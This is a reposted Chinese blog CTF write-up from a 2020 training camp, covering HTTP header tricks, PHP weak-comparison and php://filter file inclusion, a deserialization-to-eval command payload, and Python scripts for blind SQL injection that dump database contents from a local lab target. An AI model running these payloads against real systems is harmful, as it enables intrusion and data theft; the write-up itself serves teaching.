博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
2020暑期集训WEB部分WriteUp
阅读量:4027 次
发布时间:2019-05-24

本文共 6333 字,大约阅读时间需要 21 分钟。

题目名称:WEB签到

题目描述:你知道多少HTTP请求头?

flag:flag{mZ3YAsfPLN1g7fTDjb1khTLgbhLG1w}


WriteUp

  • 解法一:BurpSuit

访问链接,得到:在这里插入图片描述

意思是要上传一个Cookie,变量名为cookie(大小写不一样!!)

这里可以用Hackbar解决:在这里插入图片描述

然后返回的结果是:在这里插入图片描述
原来cookie要等于i_need_flag
在这里插入图片描述
在这里插入图片描述
这里需要用GET请求的方式上传一个名为&=&=&的变量,直接将变量名打在url后面肯定不行的,因为&会被识别为连接符号。那么可以用URL编码绕过。编码结果是%26%3d%26%3d%26,于是:在这里插入图片描述
得到:在这里插入图片描述
如果直接将%0A写在url上,会被识别为被编码过的数据。那么也将这个数据url编码一下,编码结果是%250A(只是将%进行编码了)。在这里插入图片描述
然后得到:在这里插入图片描述
这个时候使用过本地服务器拦截
在这里插入图片描述
然后打开Burp并将页面刷新一下:
在这里插入图片描述
Ctrl + R将数据发送到Repeater模块,并添加一行Referer:www.google.com
在这里插入图片描述
点一下Go以后得到右边的一串:在这里插入图片描述
用一个叫’YTXNB’的浏览器?修改User-Agent请求头即可:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
flag{mZ3YAsfPLN1g7fTDjb1khTLgbhLG1w}


  • 解法二:Postman

从头做起好了~

访问这个url,得到了:在这里插入图片描述

上传一个cookie:在这里插入图片描述

然后上传变量,Postman自动将变量进行编码:在这里插入图片描述
在这里插入图片描述
加一个Referer:在这里插入图片描述
改一改User-Agent:在这里插入图片描述

其实还可以用python的requests库来进行上传,也比较方便的。


题目名称:easy_php

题目描述:flag in flag.php!

分值:200

flag:flag{W31C0M3_T0_2JNUCTF_YTXNB}


wp:

payload:?password=******&a=s878926199a&file=php://filter/read=convert.base64-encode/resource=flag.php

爆破出来账号密码是:admin - hack

然后就是代码审计,代码如下:

strcmp()函数比较两个字符串。

strcmp(string1,string2)
若string1<string2,结果<0
若string1>string2,结果>0
若string1=string2,结果=0

isset()函数用于检测变量是否已设置并且非NULL。

若空返回0,不空返回1。

eval()函数把字符串按照PHP代码来计算。

die()函数输出一条消息,并退出当前脚本。

代码的思路是:

首先检测是否上传password,若未上传,输出password!并退出。
若上传,则将a变量的值md5哈希后与0进行比较。这里用的是==判断,是弱比较,所以会将0e开头,后面都为数字的变量都识别为科学计数法,值为0。
最后上传一个file变量,并将这个变量作为文件名包含进php函数。这里利用了文件包含漏洞,利用php://filter伪协议,将flag.php包含进来就行。

0e开头的md5和原值: s878926199a0e545993274517709034328855841020s155964671a0e342768416822451524974117254469s214587387a0e848240448830537924465865611904s214587387a0e848240448830537924465865611904s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675s1885207154a0e509367213418206700842008763514s1502113478a0e861580163291561247404381396064s1885207154a0e509367213418206700842008763514s1836677006a0e481036490867661113260034900752s155964671a0e342768416822451524974117254469s1184209335a0e072485820392773389523109082030s1665632922a0e731198061491163073197128363787s1502113478a0e861580163291561247404381396064s1836677006a0e481036490867661113260034900752s1091221200a0e940624217856561557816327384675s155964671a0e342768416822451524974117254469s1502113478a0e861580163291561247404381396064s155964671a0e342768416822451524974117254469s1665632922a0e731198061491163073197128363787

题目名称:easy_serialization

题目描述:你会操作linux吗?

分值:150

flag:flag{11101033896874985672311110901539012}


wp:

payload: ?password=s155964671a&s=O:3:"Cmd":1:{s:3:"key";s:5:"hello";}&cmd=system('cat flag.php');

题目代码如下:

key === "hello"){ eval($_GET["cmd"]); } } } if(md5($_GET["password"])==$password){ unserialize($_GET["s"]); }else{ echo "Password wrong..."; } ?>

首先,上传一个password,要求md5值= 0e152458479632589632547851236598,因为是弱比较,所以传一个s155964671a就行,md5值为0e848240448830537924465865611904。在进行弱比较的时候,两个都会被看成科学技术法,值都为0,所以相等。

然后上传一个s变量,并将其反序列化。这里存在一个漏洞,因为在Cmd类里面,当$key='hello’时,在这个php程序执行结束后会将上传的cmd变量当做php语句执行,这里就相当于控制对方的命令行进行操作。

__destruct()函数在php中被叫做魔术方法,该方法的作用是在程序结束后被销毁后进行一系列操作。

构造变量s的方法:

key === "hello"){ eval($_GET["cmd"]); } }}echo serialize(new cmd());?>//得到:O:3:"Cmd":1:{s:3:"key";s:5:"hello";}

所以payload: ?password=s155964671a&s=O:3:"Cmd":1:{s:3:"key";s:5:"hello";}&cmd=system('cat flag.php');


题目:easy_web

题目描述:flag:flag{纯数字}

分值:500

flag: flag{094935181553728918036522020159}


WriteUp

这是一个过滤空格的布尔盲注。过滤空格,所有空格用/**/替代就行(主要为了防止sqlmap一把嗦)。考点在于盲注~

先测试一下数据库的长度

1'/**/and/**/length(database())>4#1'/**/and/**/length(database())=6#所以数据库长度=6(可以利用二分法)

一个个试数据库的字母

1'/**/and/**/substr(database(),1,1)='e'#

嫌麻烦,用python写脚本爆数据库:

#! /usr/bin/env python# -*- coding: utf-8 -*-import requestsimport reurl = "http://127.0.0.1/exam/easy_sql/?id=1'/**/and/**/substr(database(),{},1)='{}'%23"l = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890'database=''for i in range(1,7):	for j in l:		p = url.format(str(i),j)		print(p)		try:			r = requests.get(p)			r.encoding='utf-8'			if re.findall("

(.*?)

",r.text,re.S)[0] == '猜猜flag在哪~': database += j print (j) break except Exception as e: continueprint (database)#得到数据库:employ

测试表名:

1'/**/and/**/substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),1,1)='e';##第一个表的第一个字母是e

python脚本:

#! /usr/bin/env python# -*- coding: utf-8 -*-import requestsimport reurl = "http://127.0.0.1/exam/easy_sql/?id=1'/**/and/**/substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),{},1)='{}';%23"l = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890'table=''for i in range(1,7):	for j in l:		p = url.format(str(i),j)		print(p)		try:			r = requests.get(p)			r.encoding='utf-8'			if re.findall("

(.*?)

",r.text,re.S)[0] == '猜猜flag在哪~': table += j print (j) break except Exception as e: continueprint (table)#脚本需要改URL部分 limit0,1 limit1,1 limit2,1 limit3,1#range(1,7)那一块也要修改,根据表名长度来调整#得到三个表名:email,employee,password

测试字段名:

1'/**/and/**/substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='password'/**/limit/**/0,1),1,1)='i';#

python

#! /usr/bin/env python# -*- coding: utf-8 -*-import requestsimport reurl = "http://127.0.0.1/exam/easy_sql/?id=1'/**/and/**/substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='password'/**/limit/**/0,1),{},1)='{}';%23"l = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890'database=''for i in range(1,9):	for j in l:		p = url.format(str(i),j)		print(p)		try:			r = requests.get(p)			r.encoding='utf-8'			if re.findall("

(.*?)

",r.text,re.S)[0] == '猜猜flag在哪~': database += j print (j) break except Exception as e: continueprint (database)#得到两个字段 一个是id 另一个是password

测试字段内容:

python

#! /usr/bin/env python# -*- coding: utf-8 -*-import requestsimport reurl = "http://127.0.0.1/exam/easy_sql/?id=1'/**/and/**/substr((select/**/password/**/from/**/password/**/limit/**/8,9),{},1)='{}';%23"l = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890'dump=''for i in range(1,39):    for j in l:        p = url.format(str(i),j)        print(p)        try:            r = requests.get(p)            r.encoding='utf-8'            if re.findall("

(.*?)

",r.text,re.S)[0] == '猜猜flag在哪~': dump += j print (j) break elif j=='0': break except Exception as e: continueprint (dump)#flag= flag{094935181553728918036522020159}

转载地址:http://lxpbi.baihongyu.com/

你可能感兴趣的文章
JMeter 保持sessionId
查看>>
IDEA Properties中文unicode转码问题
查看>>
Idea下安装Lombok插件
查看>>
zookeeper
查看>>
Idea导入的工程看不到src等代码
查看>>
技术栈
查看>>
Jenkins中shell-script执行报错sh: line 2: npm: command not found
查看>>
8.X版本的node打包时,gulp命令报错 require.extensions.hasownproperty
查看>>
Jenkins 启动命令
查看>>
Maven项目版本继承 – 我必须指定父版本?
查看>>
Maven跳过单元测试的两种方式
查看>>
通过C++反射实现C++与任意脚本(lua、js等)的交互(二)
查看>>
利用清华镜像站解决pip超时问题
查看>>
[leetcode BY python]1两数之和
查看>>
微信小程序开发全线记录
查看>>
Centos import torchvision 出现 No module named ‘_lzma‘
查看>>
网页设计里的浮动 属性
查看>>
Maximum Subsequence Sum
查看>>
PTA:一元多项式的加乘运算
查看>>
CCF 分蛋糕
查看>>